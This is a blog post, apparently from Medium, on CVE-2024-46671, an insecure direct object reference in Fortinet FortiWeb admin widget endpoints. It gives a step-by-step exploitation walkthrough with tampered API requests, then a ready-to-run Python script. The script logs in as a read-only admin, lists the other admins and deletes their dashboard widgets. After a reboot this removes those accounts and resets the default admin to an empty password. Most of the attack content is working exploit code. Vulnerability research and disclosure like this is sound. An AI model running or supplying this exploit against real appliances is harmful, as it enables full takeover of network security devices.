← Back to list

Fortinet privilege escalation from IDOR — CVE-2024–46671

CVE-2024–46671

Meghnine Islem · 2026-04-11 16:38 · 7 claps · 4.0 min read
#cve-2024-46671 #fortinet #exploitation #0day #automation
Open on Medium ↗

Fortinet privilege escalation from IDOR — CVE-2024–46671

CVE-2024–46671

CVE-2024–46671

📌 Summary

An Insecure Direct Object Reference (IDOR) vulnerability exists in the widget management endpoints of the admin dashboard.

A low-privileged administrator (read-only) can manipulate the **mkey parameter to access and modify other admin users’ widgets**, leading to:

  • Unauthorized modification of admin dashboards
  • Deletion of targeted admin accounts after reboot
  • Reset of default admin account password (default admin account re-creation)
  • Potential full account takeover

🧠 Root Cause

The application fails to enforce proper authorization checks on the following endpoints:

/api/v2.0/cmdb/system/admin/gui-dashboard?mkey=<username>
/api/v2.0/cmdb/system/dashboard-widget/widget?mkey=<widget_name>

The **mkey** parameter is directly trusted without verifying that the requester is authorized to access or modify the referenced resource.

🎯 Impact

This vulnerability leads to multiple critical impacts:

1. Privilege Escalation (Horizontal → Vertical)

A read-only admin can manipulate other admins configurations.

2. Account Deletion (Availability Impact)

By tampering with widget configurations and triggering a reboot:

  • Targeted admin accounts are removed from the system.

3. Default Admin Reset → Account Takeover

After exploitation:

  • Default admin account password is reset to empty

Attacker can:

  • Login without password
  • Set a new password
  • Gain full administrative control

🧪 Lab Setup

  • Target: Fortinet appliance (VM)
  • Attacker: Read-only admin account
  • Tooling: Proxy: Burp Suite (or any intercepting proxy)

⚙️ Step-by-Step Exploitation

🔹 Step 1 — Prepare Accounts

Create:

  • attacker_admin (read-only permissions)
  • victim_admin (full permissions)

🔹 Step 2 — Intercept Requests

Login as attacker_admin and intercept traffic.

Focus on:

GET /api/v2.0/cmdb/system/admin/gui-dashboard?mkey=<username>
GET /api/v2.0/cmdb/system/dashboard-widget/widget?mkey=<widget_name>

playing with the mkey parameter

playing with the mkey parameter

🔹 Step 3 — IDOR Exploitation

🔁 Original Request

GET /api/v2.0/cmdb/system/admin/gui-dashboard?mkey=attacker_admin

💥 Modified Request

GET /api/v2.0/cmdb/system/admin/gui-dashboard?mkey=victim_admin

✅ Response returns victim’s dashboard configuration.

🔹 Step 4 — Unauthorized Actions

Using different HTTP methods:

🗑 Delete Widgets

DELETE /api/v2.0/cmdb/system/dashboard-widget/widget?mkey=<victim_widget>

After deleting the widget of amine from read only admin (ixec) account

After deleting the widget of amine from read only admin (ixec) account

✏️ Modify Widgets

PUT /api/v2.0/cmdb/system/dashboard-widget/widget?mkey=<victim_widget>

➕ Add Widgets

POST /api/v2.0/cmdb/system/dashboard-widget/widget

➡️ All actions apply to victim_admin, not attacker.

🔹 Step 5 — Trigger the Bug (Critical Phase)

After manipulating widgets:

  • Reboot the system

💣 Step 6 — Post-Reboot Impact

After reboot:

❌ Victim Account Deleted

  • Login fails:
Invalid username or password
  • Account no longer exists in admin list

⚠️ Default Admin Reset (fresh admin backup)

  • Default admin password becomes empty
  • System prompts password change on login

🔓 Step 7 — Account Takeover

  • Login using default admin (no password)
  • Set new password
  • Gain full privileges

🧬 Exploit Chain

IDOR → Unauthorized Widget Manipulation → System State Corruption → Reboot → 
Admin Deletion + Default Admin Reset → Full Account Takeover

⚡Automated exploitation script

import requests as r
import sys
import warnings

# ignoring warnings of cert
warnings.filterwarnings('ignore')

# init vars
LOGIN_PATH = "/logincheck"
API_USERS_LIST = "/api/v2.0/cmdb/system/admin"
API_WIDGETS_ENDPOINT = "/api/v2.0/system/status.dashboard_widget?mkey={}&sub_mkey={}"
API_SYSTEM_STATE = "/api/v2.0/system/state"
users = []

def banner():
    banner = """
   ______     _______     ____   ___ ____  _  _         _  _    __    __ _____ _ 
  / ___\ \   / / ____|   |___ \ / _ \___ \| || |       | || |  / /_  / /|___  / |
 | |    \ \ / /|  _| _____ __) | | | |__) | || |_ _____| || |_| '_ \| '_ \ / /| |
 | |___  \ V / | |__|_____/ __/| |_| / __/|__   _|_____|__   _| (_) | (_) / / | |
  \____|  \_/  |_____|   |_____|\___/_____|  |_|          |_|  \___/ \___/_/  |_|                                                                   
                                                                                By MEGHNINE islem
"""
    print(banner)

def validate_url(url):
    if ("https://") in url:
        return url
    else:
        if "http://" in url:
            url = url.split("http://")[1]
            return "https://" + url
        return "https://" + url

def init_req():
    return r.Session()

def test_connection(url):
    res = r.get(url, verify=False)
    if  res.status_code == 200:
        return True
    else:
        return False

def is_vulnerable(req, url):
    res = req.get(url + API_SYSTEM_STATE, verify=False)
    system = res.json()['resutls']['config']
    if system['CONFIG_MAJOR_NUM'] <= 7:
        if system['CONFIG_BUILD_NUMBER'] == 638:
            print("[+] Vulnerable")
            return True
        else:
            print("[+] May be vulnerable")
            return True
    else:
        print("[-] Not vulnerable")
        return False

def get_cookies(req, url, username, password):
    data = {"ajax":1, "username":username, "secretkey":password}
    res = req.post(url+LOGIN_PATH,data,verify=False)
    return res.text

def get_users_list(req,url):

    res = req.get(url + API_USERS_LIST,verify=False)

    for user in res.json()['results']:
        #if user['access-profile'] == "prof_admin": # filter only priv admins
        users.append(user['name'])
    print("[+] Users found successfully")
    return users

def get_csrf_token(req,url):
   res = req.get(url + API_SYSTEM_STATE, verify=False)
   system = res.json()
   if system['status'] == "success":
       return system['resutls']['admin']['csrf_token']

# this exploit will trigger 2 vulnerabilities (after reboot)
#   - Arbitrary account deletion
#   - Creation of a fresh admin account (full premissions) with none password
def delete_widgets(req, url, target_user, token):
    headers = {
                "Content-Type": "application/json", 
                "X-Csrftoken": str(token)
            }
    data = {}
    mkey = f"sys_{target_user[2]}_1_root" # crafting mkey with default VDOM and dashboard id
    for w_id in range(1,20): # blindly removing all widgets
        furl = url + API_WIDGETS_ENDPOINT.format(mkey, w_id)
        res = req.delete(furl,json=data,headers=headers,verify=False)
        if res.json()['errcode'] == '0':
            print(f"[+] widget {w_id} deleted successfully")
        else:
            print("[-] Error deleting widget, exiting exploit ...")
            exit()

if __name__ == "__main__":
   banner()

   n = len(sys.argv)

   if (n < 3):
       print("Usage: CVE-2024-46671.py IP USERNAME PASSWORD")
   else:
       url = validate_url(sys.argv[1])
       if (not test_connection(url)):
           print("[+] FortiWeb is DOWN")
           exit()
       else:
           print("[+] FortiWeb is UP")

           req = init_req()

           if "1" in get_cookies(req, url, sys.argv[2], sys.argv[3]):
               print(f"[+] Connected as user {sys.argv[2]} successfully")

               if not is_vulnerable(req,url):
                   exit()

               users = get_users_list(req,url)

               token = get_csrf_token(req,url)

               delete_widgets(req,url,users,token)

               print("[+] exploit finished successfully, waiting for fortiweb reboot then login with username=admin&password=")

           else:
               print(f"[-] Error authenticating as {sys.argv[2]}")
               exit(0)

Execution of automated script

Execution of automated script

References & links

https://fortiguard.fortinet.com/psirt/FG-IR-24-184

https://www.cve.org/CVERecord?id=CVE-2024-46671


메타데이터
post_id
ee8d72309ab5
slug
fortinet-account-take-over-from-idor-cve-2024-46671-ee8d72309ab5
url
https://medium.com/@islem.meghnine/fortinet-account-take-over-from-idor-cve-2024-46671-ee8d72309ab5
canonical_url
https://medium.com/@islem.meghnine/fortinet-account-take-over-from-idor-cve-2024-46671-ee8d72309ab5
author_url
https://medium.com/@islem.meghnine
status
ok
fetched_at
2026-07-11 22:52:18